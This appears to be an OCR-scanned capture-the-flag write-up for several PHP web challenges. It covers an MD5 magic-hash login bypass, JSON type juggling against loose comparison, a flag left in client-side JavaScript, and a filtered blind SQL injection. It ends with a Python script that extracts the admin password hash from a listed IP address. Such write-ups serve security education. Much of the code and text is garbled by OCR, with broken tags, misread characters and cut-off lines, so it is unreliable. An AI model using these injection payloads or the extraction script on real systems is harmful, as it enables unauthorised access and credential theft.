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A RIRA:

<head>
<meta charset="utf-8">
“title>BF S itler
{meta name="description” cortent="slick Login™»
<meta name="arthor” contert="Webdezigrdts+">
< heads

<hody>
form>
{div aligre"center” >
<prllzername: <input type="text” name="Usemame” id="Usemame” =ize="25" required/ /D>
<prPassword: <irpint tvpe="password” name="password” ide"password” size="08" required/+</p
<prdirput type="submit” class="small button” name="submit” id="submit” walue="Submit"/><brs < pr
<Forms

fl— if (izset (§ GET[ Username 1) && isset(f GET[ password 1)) {
$logined = true;
fUzername = $_GET[ Username’] ;
fpassword = $_GET[ password’];

if (lctype_alphal(fUzername) ) {$logined = false;}
if (liz_rameric (fpazsword) ) {$logined = falze;}
if (mdS ($Uzername) = mdS ($password)) [$logined = false:}

if ($logined) {
echo "succeszful” :
}oelse {
echo “login failed!™;
I
1
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1, AAPHPRE N AMAIMERE, #RO.

2 T md5('240610708") == md5('QNKCDZ0O")

FrEL Username =QNKCDZO password =240610708
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Username: | |

Password: |
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<l—  if (igzet (§_POST[ message’ 100 1
fmessage = jeon_decode($ POST[ message’ 1) ;
Fkey =" skdbrkdnr’

if (fmeszagekey == fkey) |
echo “flag”:
1
else {
gcho “fail”:
1
1
else{
echo T

f& NHimessageZjsontg R, H KK keyE==Skey
ERMAESkeyKIME . B3] T phptaBtbi.

RS ==
TRUE  FALSE 1 o 1 e Lyl 1" NULL  array() “php” ™
TRUE TRUE  FALSE TRUE  FALSE TRUE TRUE  FALSE TRUE  FALSE FALSE TRUE  FALSE

FALSE FALSE TRUE FALSE TRUE FALSE FALSE TRUE FALSE  TRUE TRUE FALSE TRUE

1 TRUE FALSE TRUE FALSE FALSE TRUE FALSE FALSE FALSE FALSE FALSE  FALSE
(1] FALSE TRUE FALSE TRUE FALSE FALSE TRUE FALSE  TRUE FALSE TRUE TRUE

-1 TRUE FALSE FALSE FALSE TRUE FALSE FALSE TRUE FALSE  FALSE FALSE  FALSE
e TRUE FALSE  TRUE FALSE FALSE TRUE FALSE FALSE FALSE FALSE FALSE  FALSE
i FALSE TRUE FALSE TRUE FALSE FALSE TRUE FALSE FALSE  FALSE FALSE  FALSE
= TRUE FALSE FALSE FALSE TRUE FALSE FALSE TRUE FALSE  FALSE FALSE  FALSE

NULL FALSE TRUE FALSE TRUE FALSE FALSE FALSE FALSE TRUE TRUE FALSE

array()  FALSE TRUE FALSE FALSE FALSE FALSE FALSE FALSE TRUE ‘I“H.'E !
i 'I_
“php" TRUE FALSE FALSE TRUE FALSE FALSE FALSE FALSE FALSE ll_ll ,EF
lsw rauaulu uw
= FALSE TRUE FALSE TRUE FALSE FALSE FALSE FALSE TRUE
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FFFH == TRUE ATRUE
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1 MR

window.getFlag=function(text){ if{text=="1"){ alert("{FREFEEHEIT1EEZ
flag™) } if{text=="2"{ alert("{RAfEE T EHEETEE") | ifftext=="3"){
alert(MFFEE =SEE") } if(text=
alert("flag{951c712ac2c3e57053c43d80c0a%543})") } if(text=="0"){
alert("BEs—m1E") 1}

“flag')f

so easy!
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<?php
include("config.php");
$conn ->query("set names utf8");

function randStr($lenth=32){
$strBase = "1234567890QWERTYUIOPASDFGHIKLZXCVBNMgwertyuiopasdfghjklzxcvbnm";

$str = "";
while($lenth>0){
$str.=substr($strBase,rand(@,strlen($strBase)-1),1);
$lenth --;
}
return $str;
}
if($install){
$sql = "create table “user” (
“id® int(10) unsigned NOT NULL PRIMARY KEY AUTO_INCREMENT ,
“username” varchar(30) NOT NULL,
“passwd” varchar(32) NOT NULL,
“role” varchar(30) NOT NULL
)JENGINE=MyISAM AUTO_INCREMENT=1 DEFAULT CHARSET=latinl COLLATE=latinl_general_ci ";
if($conn->query($sql)){
$sql = "insert into “user  (“username’, passwd , role ) values ('admin','".md5(randStr()).""','admin’
$conn -> query($sql);
}
¥

function filter($str){
$filter = "/ |\*|#|;|,|is|union|like|regexp|for|and|or|file|--|\|| |&]|".urldecode('%@9"')."|".urldecode
if(preg_match($filter,$str)){
die("you can't input this illegal char!");
}

return $str;

function show($username){
global $conn;

$sql = "select role from “user’ where username ='".$username. 5
$res = $conn ->query($sql);
if($res->num_rows>0){

echo "$username is ".$res->fetch_assoc()['role'];
}else{

die("Don't have this user!");



function login($username,$passwd){
global $conn;
global $flag;

$username = trim(strtolower($username));
$passwd = trim(strtolower($passwd));

if($username == "admin'){
die("you can't login this as admin!");
}
$sql = "select * from “user’ where username='".$conn->escape_string($username)."' and passwd='".$conn->

$res = $conn ->query($sql);
if($res->num_rows>0){
if($res->fetch_assoc()['role'] === 'admin') exit($flag);
}else{
echo "sorry,username or passwd error!";

function source(){

highlight_file(_ FILE_ );
$username = isset($_POST['username'])?filter($_POST['username']):"";
$passwd = isset($_POST['passwd'])?filter($_POST[ 'passwd']):"";

$action = isset($_GET['action'])?filter($_GET['action']):"source";

switch($action){
case "source": source(); break ;
case "login" : login($username,$passwd);break;
case "show" : show($username);break;
¥
n] & Efilter() 2 %

fimction filter(fatr){
$filter = °/ |w|#]; [, izl mion] like |regexp| for | and] or [file|—
[%]]7 41" arldecode C%09° ). 7| " urldecode ("$02"). " |, urldecade {"%0b" ). " | ", wrldecode{ %0c" ). " |" urldecode (%04 ). | " urldecode (" #al ). /1",
ifipreg_matchi$filter, $otr) ) {
die("you can’t dinput thi= illegal charl”™);
1
return  fstr;
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username=admin'=(substring((select(passwd)from(user))from(-1))="8")="1
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admin'=(substring((select(passwd)from(user))from(-1))="8")="1 is admin
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admin’=(substring({select(passwd)from(user))from(-2))="88"="1 is admin
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#lusr/bin/env python
#!coding=utf-8

__author__ = 'zhengjim'

import requests

url="http://117.34.111.15:89/?action=show"
ans=""
dic="0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqgrstuvwxyz"
for i in xrange(33):
for j in dic:
data={"username":"admin'=(substring((select(passwd)from(user))from(-{0}))="{1}{2}"')="1".format(str(
content=requests.post(url,data=data).content
if len(content)>30:
ans =j+ans
print ans
break
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